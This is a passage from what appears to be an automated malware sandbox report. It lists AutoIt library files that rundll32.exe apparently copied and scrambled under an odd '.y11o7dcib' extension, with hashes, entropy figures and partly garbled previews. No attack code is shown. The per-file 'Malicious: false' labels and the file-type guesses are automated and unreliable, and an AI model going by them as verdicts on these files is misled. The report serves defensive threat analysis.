SHA-512:	738502090D3056205936F3B3F58EB68C2B808DAE108ECC86B7F55B124CDF2421959F34D8B32AA3E84512DCC22E389DBCBD56B10AD73884223FCE4E9CCD86D49C
Malicious:	false
Preview:	N.g...).o4.......:.d..=D.p.RW.......g...Y.U.g1h[.....+.P..Uonstants.au3"..#include "MsgBoxConstants.au3"....; #INDEX# =====================================================================P^4.@.p..f.G.....i.5..eY.......n...........J.yU..Z..ls..8.....: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants ..m...#.62........<.(..6%.x.^@..&.....f.J.^...jv(.Ta...z;P..: jpm..; ========================================================================================================================P^4.@.p.HV.Y....Y...g..4D.P.OY..6....P.L.X....IR.2A{...[.x..SS# ===================================================================================================================..Global $2<n...#./w.^....r. .5..Un.].DY..w....T.o.H.W.uU..Zf...4n..+=====================================================================================================================....; #CONS9"G...m..f.G.....i.5..eY.......n.....

C:\Program Files (x86)\autoit3\Include\WinAPILocale.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21013
Entropy (8bit):	6.243789948560419
Encrypted:	false
SSDEEP:	384:+us9pxGaTUdsXA4olcepYcBKoCz8A4NROHNAD9xQw5vd+jokkqjkWfYi7rx2Sgn3:+us5GIUKQ4oltYYKoCYAwRwNADLQ8vEA
MD5:	37059C609D1FB26BAD107B27314FF4DD
SHA1:	64E6F2196B622BD72978C34E73173C70B52F91FD
SHA-256:	99F96035C5DAC1F7F66D5488F25828E4745B28AAA6E3F95BE73C2E9A92D752B8
SHA-512:	105FE3F660FD9E12C4CDE99315A395CB4D35AECFD2AC1C4FF6A552AA770EA041E764FE7F30688C7AAE46833EAADF185A266B0C24FAB1E735940BDBB966D92FB8
Malicious:	false
Preview:	.U\|6FlMSp..Hk.V.~..W.....V..^.n........ \.d(u)...4...U@.......sringConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================================../h.$..`...3..f.`.Q.UY...I.g<...Bs..i..-ffuS.........]...8b .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, const.Rf&.xGR}..EmS.4....[.D..AT..y.Q.../...5H..Q`h/..Q..H..H...n'Yashied, jpm..; ================================================================================================================../h.$..`...3..V.P.Of....JT..x8`...<...8X.0:5,N..W...UW.k..t$VARIABLES# ===================================================================================================================..../h.$..`...3..f.`.Q.UY...I.g<...Bs..i..-ffuS.........[...i:=================================================================....; #CONSTANTS# =============================================../h.$..`...3..f.`.Q.UY...I.g<...Bs..

C:\Program Files (x86)\autoit3\Include\WinAPIMem.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21824
Entropy (8bit):	6.253480243086603
Encrypted:	false
SSDEEP:	384:4E81wIatLkl/io0s6fqbQE+zh4obz+XVuFuHHt/WSHFDDuAKZyGVLUhc:kw8JkyE
MD5:	56E740914178A9B18CC7D0EAA1218FAA
SHA1:	7F7C8FEA2A5EEB36B48F3C17E20953EA9F0A4813
SHA-256:	11DE21C63614169BBBD37F5C68825B2CC2641F4152056C2A42C02648FB4D7AD5
SHA-512:	25C8A955CB34B1E846B8163FC9FC1FCE940E633C8954DFD7D80421BAB8175EF4C8AB2B9276071D1281A78BCD6EC181AFF7A8FEBAF2A584103D4779B49C1E540F
Malicious:	false
Preview:	.=..q...W.iR...U.(....y...v...9c......7.Y..d..L=......^.LMO..====================================================================================================================..; Title ...z..3..qZ.n_..S..P5....y...g..,..K.........L.s2..K....3..o.9....on : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIMem.au3..; Author(s) .....: Yashie.x..m.AA.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..=========================================================================....#Region Global Variables and Constants....; #VARIAB....=..vG.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..========================================================..Global $__g_hHeap = 0..; =============================================.i.. ..vG.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..==================....; #CONSTANTS# ============================================================================================.i.. ..vG.:...'.b.\|..........x.M....J..

C:\Program Files (x86)\autoit3\Include\WinAPIMisc.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14537
Entropy (8bit):	6.143374633356679
Encrypted:	false
SSDEEP:	384:qyDpY1Qe6oRlhfURtOrsCyZP6C0vxOEHRux:bI/r8L
MD5:	B40C7B54B5EF2471E18685CF3517EBAF
SHA1:	D188A15E1656047B1EB0CB50B8B6CD73FEAE2EDF
SHA-256:	55B6051A2198BA881967406E6ADD561D9EE9EA1A9A20246EA3B97F74130BB5BC
SHA-512:	E13AE3F63C5F1B3A8E0E8089E61EF079D47309B03F886320AA1023CACF241D21CF42E4E2B712211C16F456FB78017C72EEB42681EB5C0567140BAC86795E6AB2
Malicious:	false
Preview:	M%..HPzi.)..w.R=o6...x...W.(kQu.`.........1..v....v\|.v...k8..ngConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIMem.au3"....; #INDEX# ==========Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..(-T/P...q.=============================================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.]b....9.........(jo7..W2...W..OLo.M..,.....!Y.[...aq.f...V(..unctions for the WinAPIMisc.au3..; Author(s) .....: Yashied, jpm..; ============================================================Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..(-T/P...q.===....#Region Global Variables and Constants....; #VARIABLES# =================================================================Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..5-T/P...q.=====================================================================================================================....; #CONS:......"y.z..G.e#;e.D!.+.\..;....1..

C:\Program Files (x86)\autoit3\Include\WinAPIProc.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	76943
Entropy (8bit):	6.547498170638884
Encrypted:	false
SSDEEP:	768:eO5aivmpr33aL0SfihQj0gvtDg2uE87Apxq:lw6Ghng1Dg2uhEpk
MD5:	B05CC88B830AD44745699C1507644D0D
SHA1:	FC7F4FF87118574AFCA8DACBE786C4F55E5243A3
SHA-256:	4AE6FE91B1C6C170557E4EDBE7795A16A19F2022BDB8632F390A51864E16443C
SHA-512:	35FE29373528B2773812CCBC615C338DE5DA7E59D92694658AB262B69B6A9F9E11CFC28DB2D1DF1D8346E988D21A6E30836AC943064D890D0573C6E5E2A843A8
Malicious:	false
Preview:	q...ic29.UI?...{z.}i.x..)@.o"........I.$....~.e\|.....Ju.>..rity.au3"..#include "SecurityConstants.au3"..#include "StringConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIError.au3p..lx50.^B\|H%..0.<[E.g.\|Q.2a.........<9..$..4..+....."_!g..INDEX# =======================================================================================================================..i..qz3\|...rD\._cUDc.L..)'.K.........d.2.....:.........X&V...toIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIProc.au3..; Author(s) ..\|...%O7/.SB8FR...T.(*.0..4_..V..........Vm..I..a.Rb.......h.P..====================================================================================....#Region Global Variables and Constants.._..&U...nf.>!.LdH.7.0..4_..V..........Vm..I..a.Rb.......h.P..===================================================================..Global Const $tagIO_COUNTERS = 'struct;uint64 ReadOperation....q-#5.N.hJ%...<:co.l..f..P..........

C:\Program Files (x86)\autoit3\Include\WinAPIReg.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	35385
Entropy (8bit):	6.341349831469562
Encrypted:	false
SSDEEP:	384:66GktkryCSfj/WlENJn+l7QFgr7tuMcWxZvMpkgfQtejyS81dywv30tkG4u+WUIx:mYfi2NZgjbrVet5
MD5:	04B08E97A97938D2A1AE2056E26F961F
SHA1:	FF864060818D4C886187407C5CFC74FBEEAEB81D
SHA-256:	178AA10C46CCD3CBF012814BCE48D7341E2E0856B9D7B57343F39A3D96548117
SHA-512:	044C0B1B101A3B602B48DD66285103DF16D22E7ACD2A441F84791402EBC6384A41A424D816B26ECB474D8030C28C2B768EBEF76EB85DE3369BE41F26406CD7C9
Malicious:	false
Preview:	...1.j..v.$.R....\./:j..q.bq...^.!.......\..NW....].>8.I/sM.y.gConstants.au3"..#include "StructureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIError.au3"..#include "WinAPIMem.au...X....x...rJ..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M=======================================================================..; Title .........: WinAPI Extended UDF Library for Auto.._.$....%.C2..g...7&.]'.s...s.dh................./8..dOW.\|Pvariables, constants and functions for the WinAPIReg.au3..; Author(s) .....: Yashied, jpm..; ===================================...o."..f.w../..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M============================....#Region Global Variables and Constants....; #VARIABLES# ========================================...o."..f.w../..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M===========..; =================================================================================================================...o."..f.w../...u.azE.3G..~..~.T_.....

C:\Program Files (x86)\autoit3\Include\WinAPIRes.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38690
Entropy (8bit):	6.442200964962679
Encrypted:	false
SSDEEP:	384:vKXO+J9pWvcbhAfkqgbjrohcGinet2uyGck2zwkXKZ/nILd8k+lWKtklQLgjk0BV:koXsroFv29d5L5y6
MD5:	08B3CADEA5F8B32AF07B939B9E1EA92D
SHA1:	73E8CE75F6D50BCDFF6FCB0D93B35AE9A1495C86
SHA-256:	BBF159C51DB70FD78670C53B600A6BD4BFBD0806E21AFE29CC73177D469C5FB2
SHA-512:	ED057942A953D61A60AD235756D49A9D5A47B7317D4F51C6E90464FF8987776039998A8B4D897A47533E645470BC3351D9CB77CE8771798FE6B9D4B2B3A94C1B
Malicious:	false
Preview:	u....CZ.**......V.w....p.o...w.... .....ca..4..B.do>C..lm.2.IResConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..#include "WinAPIIcons.au3"..#include "WinAPIInternalsx...@;4p.~....._...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv==========================================================================..; Title .........: WinAPI Extended UDF Library for A#.....3w<e.....'.Z.g....j...~.)..N.i......y?..h..f.#;}n..`9..%al variables, constants and functions for the WinAPIRes.au3..; Author(s) .....: Yashied, jpm..; ================================k.^._..@:x.....:...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv===============================....#Region Global Variables and Constants....; #VARIABLES# =====================================k.^._..@:x.....:...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv==============..Global $__g_vVal..; ============================================================================================k.^._..@:x.....:...)....m...p.%..B.i...

C:\Program Files (x86)\autoit3\Include\WinAPIShPath.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44816
Entropy (8bit):	6.227487314960598
Encrypted:	false
SSDEEP:	384:ipgMvv4MOWFAYKvCtoooiq3eMNOYsBYsClsngc5WKA18TZ8UtLxRVKZ6DWLxMy4Y:jMvvKM0TSgc6aZ8iquAL9Ie8gH1YGRh
MD5:	054D00A3F108CFEBBC93B0122539D64E
SHA1:	ED5E603BD46BBE007DA962878A5ED82202C1EE47
SHA-256:	DEFFADBA2658A313891B829E07DCA6ACEA72BF98485E38B0A87F54006B0AC63B
SHA-512:	EE1C9FCECE26B695A2C85EB4A85D7C0A06B5DE7F2EC37A9CFA96A32394567E7E2A06B4DB82A3B7C9C521A2D7904057CB8C921F3B1541346A7A4B120AC6176548
Malicious:	false
Preview:	....;..;...F.9.(.fB.....^.'.....8..$.l.#...f....M.z.u+....n.L.aringConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# =============================...jO.c........x....X.rC.[.y.d..Z.?Rj..(...R7M.!x....6.S.(==========================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Descripti...y\.~...L.].K.)......-.V..'......qO6...s..L.e.^<#...c.N.\|nAPIShPath.au3..; Author(s) .....: Yashied, jpm..; =============================================================================...jO.c........x....X.rC.[.y.d..Z.?Rj..(...R.z .f....d.N.`nctions list....; #CURRENT# ====================================================================================================...jO.c........H!...2.!?c/..+..8..+.l.....r...OU'Dr.....x...pInExpression..; _WinAPI_ParseURL..; _WinAPI_ParseUserName..; _WinAPI_PathAddBackslash..; _WinAPI_PathAddExtension..; _WinAPI_Pat...2..S.z.].d..t.....:._...+..S..8.k.

C:\Program Files (x86)\autoit3\Include\WinAPIShellEx.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42747
Entropy (8bit):	6.40227066135071
Encrypted:	false
SSDEEP:	384:fBkC2jUp2LzJGvH0+Xn+KJfvANP+6OTNwzLEGQ1nM9cEPJB7uDlVN+WzAvUwH3k6:mx1ol/Fu4q5PDIV1wXkwok1
MD5:	8CA5B77A457044CBCBD9A8B72D2B42A2
SHA1:	49C7D47BEDA075F10FA08B07FC9E825B22691423
SHA-256:	C72AA9617E0849DBB60B30D7C620DEBCA4F4F78078CD57107D0FD59989DF35CD
SHA-512:	ADD104EF38F08F5098E6B2348DB69037233C5D4E544EE1B19B6C57C14B639F2246249793E4443B9703F6C228ACDD5CEDD705413485741B81BF9F26BC90AE0B89
Malicious:	false
Preview:	a.......<.3(...S.^sR.T..^.ti..[h......G.....\|Be$.'<e.KV.}....WtringConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIMem.au3"..#include "WinAPIMisc.au3"..#include "WinAPIShPath.au3".H.....i..sm...M..-.....A......9.oW.E......o.-...{....5.L..9====================================================================..; Title .........: WinAPI Extended UDF Library for AutoIt3O.....d'..(.....0.....J..-...@.!....@...\|.7.NR/.LZ.i.QP.viables, constants and functions for the WinAPIShellEx.au3..; Author(s) .....: Yashied, jpm..; ==================================.......n.mp...M..-.....A......9.oW.E......o.-...{....5.L..9=============================....#Region Global Variables and Constants....; #VARIABLES# =======================================.......n.mp...M..-.....A......9.oW.E......o.-...{....5.L..9============..; ================================================================================================================.......n.mp...}..0....(.jt...9.oW.E.

C:\Program Files (x86)\autoit3\Include\WinAPISys.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	77908
Entropy (8bit):	6.279872185511587
Encrypted:	false
SSDEEP:	1536:cL2YtwAn1ocsoDQ1o1pHFqC5wK7spvLiRS+v8p1N:ctnpUnKCvCS+v8TN
MD5:	246EFD19097306FB5D4F8BB22DC286A4
SHA1:	33F00615B6292E2ABD11DC0B43569BB76196019F
SHA-256:	7A5201B34E32009C6E3FF36B7DD8C95E4FBAE6FFD799A4A2299ADB0575CAEAE9
SHA-512:	362EC01EAD06DF249FFC089EE0FDC20549A0B35B9CC1383C15CFB25D8C80003A37710A30E7FB0D80DD6C423FC1B9AFDEEC400AEC3E2AC74458F7D0AB5C33E417
Malicious:	false
Preview:	......`.L..rO....s......c......U....;..(fZ.....\|\..~Y6lHs..X$.IConv.au3"..#include "WinAPIError.au3"..#include "WinAPIGdiInternals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIIcons.au3".X...h....3}v..^.......5.2....O...hI..2T$-....1...!._.e[...,.DEX# =======================================================================================================================..; .....*.OF.?.1........:.C.K....H..h'..t....c...@..[Xa.bj..C..It Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPISys.au3..; Author(s) ......."...m..D.{Zr..5p.T.N.;..........uV..a(IY..1..b.../.o4Ul...X.=================================================================================....#Region Global Variables and Constants....;.8...P./<.2."..3m.T.N.;..........uV..a(IY..1..b.../.o4Ul...X.================================================================..Global Const $tagOSVERSIONINFOEX = $tagOSVERSIONINFO & ';ushor..(...m..8.rAR..a"......r.l....O..#&.

C:\Program Files (x86)\autoit3\Include\WinAPISysInternals.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28405
Entropy (8bit):	6.179504939572266
Encrypted:	false
SSDEEP:	384:suq7azuUbJTLrYwnzy8P4LJoCIQQkU1oxJ0umENpAO2wM18vccpvut8:xKYx913+cImy
MD5:	859B1091B85AD1D7696A040FEE72B143
SHA1:	75DFD57D9C4D2263E9538B3819F8A29FFF4444BA
SHA-256:	252972FA0B7840A7F4AEA0F58AF6066167C42867F2C873B859AD3F7407F595BE
SHA-512:	D14905EAC8F839C3BC1FE81584F7705B993EF3E4B59822F7CD9E797D4F547392DBBA4FA056CBA19653FEBFD5A5B83F0A55FDD4A8DBF0F2E55F911FEC49B7F968
Malicious:	false
Preview:	/..8N..<.....d..@..1.S%..glZk.......rY!...)....B.\|.]A...o...Constants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ====================================================================1.Ef....n.... .S.....y..8.{??..C@....../.577.B......_F...;.M.......: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants,..?.....'...=..Q.Z..d._k..KQGUP.....3mgN`ex......7.Q(......X.===============================================================================================================================...rxp....=.......O.%.Z`.fclZ.=.....]g_.0..1.\..e.X.3W..&.^.==============================================================================================================..Global $__g_aInP~..>Q..=..+.3x.s..d.m5.f2_c+t:...._3.MeoUk....^.m.({...@.W.[2] = [[0, 0]]..; ==============================================================================================================1.Ef....n.... .S..#..d.uJ..VCpr-^.....

C:\Program Files (x86)\autoit3\Include\WinAPISysWin.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58771
Entropy (8bit):	6.22554366278686
Encrypted:	false
SSDEEP:	768:bP2jRdlzVm1cp2cLy3KuYF+iun70TgSh50/HPaw:2dlzVWcp22yoF+iun7ugSh50/HPH
MD5:	00156F00C204AF7D378EF39A75CCDE6F
SHA1:	25946D36682FAEA3C9DB7BA32EEC2BA87669B19C
SHA-256:	C916F7415BACC67562CDC5AD9904EA87A8D4FF65BE51358A170DF4E5E33708EE
SHA-512:	512BC73A7072DB875CEA7BE376345B5C3F17E0F8C82A07A9D370C555154221C33BFBFA64D1805E4D4206FFC6BE64DFBF162243ACDEB12AF09A93A77A58B01775
Malicious:	false
Preview:	s......5F.A^n.!.....JhF .l..+A.b...H...]..D#X...F!j..........Internals.au3"....; #INDEX# ====================================================================================================m.._..mV.y..^3...GM..=v,."<.k.h....o.......!wB..../Nq.........rsion : 3.3.16.1..; Description ...: Windows API calls that have been translated to AutoIt functions...; Author(s) .....: Paul C1......pC.%WW*O....!.TrQ1.n..$oj.../[......+r.....E.$[.S..=?...DS, Raik, jpm..; Dll ...........: kernel32.dll, user32.dll, gdi32.dll, comdlg32.dll, shell32.dll, ole32.dll, winspool.drv..; ===m.._..mV.y..^3...G}.. .x.sd.x={....\|....S..s=....yw..B..sc..============================================================....#Region Global Variables and Constants....; #VARIABLES# ========m.._..mV.y..^3...G}.. .x.sd.x={....\|....S..s=....yw..B..sc..===========================================..; =================================================================================m.._..mV.y..^3...G}.. .x.sd.x={....\|...

C:\Program Files (x86)\autoit3\Include\WinAPITheme.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42159
Entropy (8bit):	6.262101177585699
Encrypted:	false
SSDEEP:	768:vD7S8N7W0bhTbAlihMfu2L3hitniQ6SYTrllj:SC7/hMfRL3Y8rr
MD5:	C891C93587194FFAC7B6F8B7EB224B0D
SHA1:	40D28F599D25BEDD11D9492817FADFF3C85640E0
SHA-256:	C1B810486BC27EB773F6129463977AFEE47F1A20D7627851D66A3495BFEE37FC
SHA-512:	5F349AA2660F815AFCF6A3CD328EC1CC57BA25DE75F70B7C823881FCB449F9D3750D1309BF9953BAD28E194ED3FC22F5764B4748B4A67874930CA50365E1CBB1
Malicious:	false
Preview:	#rD....k..]..4H....q.e{.).An.........F..G;..(.7.6.?.q......guctureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ===============================================================&....K.{.....x...R. .<#.6.,....L......I.@.Tg..7...b.a.9.s....ale .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, consoK..V.(.X..]1.....{.s>.c.1p.!.....ZI..dP..K.I_0.t.-.W..../ Yashied, jpm..; ================================================================================================================&....K.{.....x...e.O.fw.e.VK.......D..I;..*.RY,.=.p.t.!..5#VARIABLES# ===================================================================================================================.. ....K.{.....x...R. .<#.6.,....L......I.@.Tg..7...b.a.9.D....(==================================================================....; #CONSTANTS# =============================================&....K.{.....x...R. .<#.6.,....L......

C:\Program Files (x86)\autoit3\Include\WinAPIlangConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8631
Entropy (8bit):	6.669805919243193
Encrypted:	false
SSDEEP:	192:nylIykIoEYvdAQQYsVV2U76UySKn+5chyXXS:nylvkt0x76UySK+esS
MD5:	95C376380597852DE990248505C2D832
SHA1:	06E23F3B49911ECE65AE967E92E0B6A3040026BB
SHA-256:	DDD9BE626B69FCD1C9DCAE34EBD957DB2B34320B64823A229C131B0FE1D679D7
SHA-512:	319D577CA7B8CE3D52738153272DFB5E2747019273B56D13861D299A3E3E15CF1EB7A66B4005A742073BB446DA92A323A6155F12A452C040C53A1C2CB380E9EC
Malicious:	false
Preview:	..l....5.W.r"_.<D....=....sC.{v.h.Fo{..C...S.I..<.5.......W..==================================================================================..; Title .........: API Constants UDF Library..m..:.$.q."JX=.a.^......S.I!..\|k.{.Ucp..sH.."...B`.m.......P..yglish..; Description ...: Constants for locale functions...; Author(s) .....: Yashied, Jpm..; ==================================..?..FXm...,zo;..B....E....sC.{v.h.Fo{..C...S.I..<.5.......W..=============================....; #CONSTANTS# =================================================================================..?..FXm...,zo;..B....E....sC.{v.X.vX}...,......^e.f.C.Q..@g..{obal Const $LANG_AFRIKAANS = 0x36..Global Const $LANG_ALBANIAN = 0x1c..Global Const $LANG_ARABIC = 0x01..Global Const $LANG_ARME..C.FE`....M.j^B.F.......l.0...p..6..{.Cb.Z.y.pm.j.F.{..@..[ANG_AZERI = 0x2c..Global Const $LANG_BASQUE = 0x2d..Global Const $LANG_BELARUSIAN = 0x23..Global Const $LANG_BENGALI = 0x45..Glo.n....#...]..Anbf...9....~..tF)...0'R

C:\Program Files (x86)\autoit3\Include\WinAPIsysinfoConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9332
Entropy (8bit):	6.717444671323783
Encrypted:	false
SSDEEP:	192:303+OqYFZIZhH3OJWczojjekJ0rx5gOfb+MNQxjouV9P2N52y+bfS:303BhZIjfekJ0rx5BpwjounPM
MD5:	A326A4B376FC9A9C605B43F0B929E276
SHA1:	29464B0917B69724969BFB5ECFA0D29ED53A7090
SHA-256:	FC4A772391C36B3088EF51EF8FEF4CBA967766870393F03B36C70E8659E30CA9
SHA-512:	D195C8C1D35BA1E077DB27B9A8A4F86A35860C3379EFF565B4ABA19FCE4C1CD547A560221B42AE23BFAA0AC5F6D5736F48B953885AF3F96C9C392650824228F7
Malicious:	false
Preview:	......t\.1...5.....^).."o......1..ed..ynD....h._8.4.....Z\|.==================================================================================..; Title .........: API Constants UDF Library......e..+V........^....s<V.K...?..vh...NhY..K.4..%.'=....G..glish..; Description ...: Constants for _WinAPI_SystemParametersInfo()...; Author(s) .....: Yashied, Jpm..; ====================.......,L.bX........Z...<r......1..ed..ynD....h._8.4.....Z\|.===========================================....; #CONSTANTS# ===================================================================.......,L.bX........Z...<r......1..ed..*ynD..!.X.Y%c^z.a.`8..stemParametersInfo()..Global Const $SPI_GETBEEP = 0x0001..Global Const $SPI_SETBEEP = 0x0002..Global Const $SPI_GETMOUSE = 0x000......p......K....H4..N.l.....t..hm...{+1....C.&.B!oYZ.g.}%..DER = 0x0005..Global Const $SPI_SETBORDER = 0x0006..Global Const $SPI_GETKEYBOARDSPEED = 0x000A..Global Const $SPI_SETKEYBOARDSP.....iA.o'..x.....7$...uo..u.d.M.....

C:\Program Files (x86)\autoit3\Include\WinAPIvkeysConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6573
Entropy (8bit):	6.691350488863191
Encrypted:	false
SSDEEP:	192:XzRu9+7R97RlTBbOeo8Wj8Iy0DS86DnGvYjjF2I7RGS:89+7fTm14Iy0DS86qwjZ2IH
MD5:	201A69DE50B5A2DFA84D5A75E3DC1206
SHA1:	69DB63B81BF22B27DEB4FE7F76774E1EA2242469
SHA-256:	02058A851CA187528DAD26C6CD89BA1290AAFE6A20AB8D8968EC7650F19550B9
SHA-512:	040849774FB2E3DEAEA329925F1EFCCCE3600A577C5E13BB5068F079194074CFABE5C4747430543B2E02B322ED9CE52E86610D767EA56D221BBAC1495147492B
Malicious:	false
Preview:	d&n..@..D.<J./..f.?A'.v....F.......].p...eA...3.....0..E...==================================================================================..; Title .........: API Constants UDF Libraryg)o.Qt....&.d(..-.k.'.....]........Q.c....x0#..{.......#..B..Tglish..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ======================zr=.L...T.o.T...Q."_S......F.......].p...eA...3.....0..E...=========================================....; #CONSTANTS# =====================================================================zr=.L...T.o.T...Q."_S......F.......].p...eAO.....A.Sl..3V.I Constants..Global Const $VK_LBUTTON = 0x01..Global Const $VK_RBUTTON = 0x02..Global Const $VK_CANCEL = 0x03..Global Const $VK_M..T.>{..I.*.]/....}...q....._......../.\|... Lw..I..._.eb....lK_XBUTTON2 = 0x06..Global Const $VK_BACK = 0x08..Global Const $VK_TAB = 0x09..Global Const $VK_CLEAR = 0x0C..Global Const $VK_RE..R.Q......$ce....sB-.\...b0.....@.5

C:\Program Files (x86)\autoit3\Include\WinNet.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	47094
Entropy (8bit):	6.574354284713767
Encrypted:	false
SSDEEP:	768:GXLA/bGT76PHrDKt5XnJUhuDTMklpidk++h:GXs/63t5XSEDT7pAk++h
MD5:	C0C2B8C5F877DFBB099E1C31E8E39EE2
SHA1:	F6A21C66D2FDC52DBEA9EA3A62D425B9EFAD6705
SHA-256:	62917EF9747F06E416969F1E026EEC1FF4C85F0B9DD1E48D78CBC05F38D4ACA0
SHA-512:	53A9BDD037762D6096047FE465656CAEF81BC10180669C72644913C812C84DF1F15FEF52950BA940197AFBB47C89A14F33D56C12DE514C8F69BFEC000EF6DB07
Malicious:	false
Preview:	...z.....f.v....t..RJA:/.Sk.!.}....A.G.X.D.1axu.G$.I...f..k.j"nAPIConv.au3"....; #INDEX# =====================================================================================================...$..L...5.....jx...`7>...N}.0...Oe.Fc.W._.lNh2.%\.I..u._...I$It Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Windows Networking management.....9..Q...(.3...wU.eNQ~...\.$.>...$\.].^...Qeyo.,[.C...}..*.Q$w you to implement networking capabilities in your application..; without making allowances for a particula..\|......(.a....2...IF~j..A.:......Z.[.R...rpa#./@.A...}J.k.U"s is..; because the WNet functions are network independent...; Author(s) .....: Paul Campbell (PaulIA)..; ====...$..L...5.....jH....cw.L.]n.#...\v.[......"=0{.w.....E.Y.v..v===========================================================....; #CONSTANTS# ===================================================...$..L...5.....jH....cw.L.]n.#...\v.[.

C:\Program Files (x86)\autoit3\Include\WindowsConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	33780
Entropy (8bit):	6.801550176013667
Encrypted:	false
SSDEEP:	384:GzbWFDwA1Ghb5Zb76fgEKEYTGi0ESU4ir78rCyf+E36qtHiqfFS:l+pV7iKEY30bU4ikrCyf736tqfI
MD5:	688180ED23B10B97A5760CFA3A14EB53
SHA1:	53F8311CE9E6D416923DFFD31B179BD2AFDCA671
SHA-256:	1F323EFA6E626AF32CF114A6548328DB75D2C7F963FAE6B2FE31D8C091595894
SHA-512:	F38BC3BBD2925E73ADC04D238D1B3A95A2EA9A24BC145D8ED2B1E78A04D73C8D9940A972F858EA3B4C90F525098DEFAEDA47E69F6C57A6AA58AF055DA2CAF058
Malicious:	false
Preview:	...5....P.VK.362s..Fl..U...9..S.`....s...........`.)..j....==================================================================================..; Title .........: Windows_Constants..; Auto.I.........O...W..K...+....c....}....`....K.....0...g.Q>..F.N ...: <a href="../appendix/GUIStyles.htm">GUI control Windows styles</a> and much more constants...; Author(s) .....: Valik, Gar../$...]C..b4..D..X...-....9..S.`....s...........`.)..j....===============================================================================....; #CONSTANTS# ===============================..Tk...@P..R...D..X...-....9..S.`....s...........`.)..j....====================....; Window Classes..Global Const $WC_ANIMATE = 'SysAnimate32'..Global Const $WC_BUTTON = 'Button'..Global ..%....>2{g"\|s}6..X.......k.c......".c...X....y....V.{......ComboBoxEx32'..Global Const $WC_DATETIMEPICK = 'SysDateTimePick32'..Global Const $WC_EDIT = 'Edit'..Global Const $WC_HEADER = 'S.!3....N_.%eyPP..Ef.c....G..!......n.

C:\Program Files (x86)\autoit3\Include\WordConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11982
Entropy (8bit):	6.585729211747684
Encrypted:	false
SSDEEP:	192:8lw8SrdcXh5rOm/10mQ8uirDYV7KGIAeDvwOdwS:8qFe5r1ncNL6T
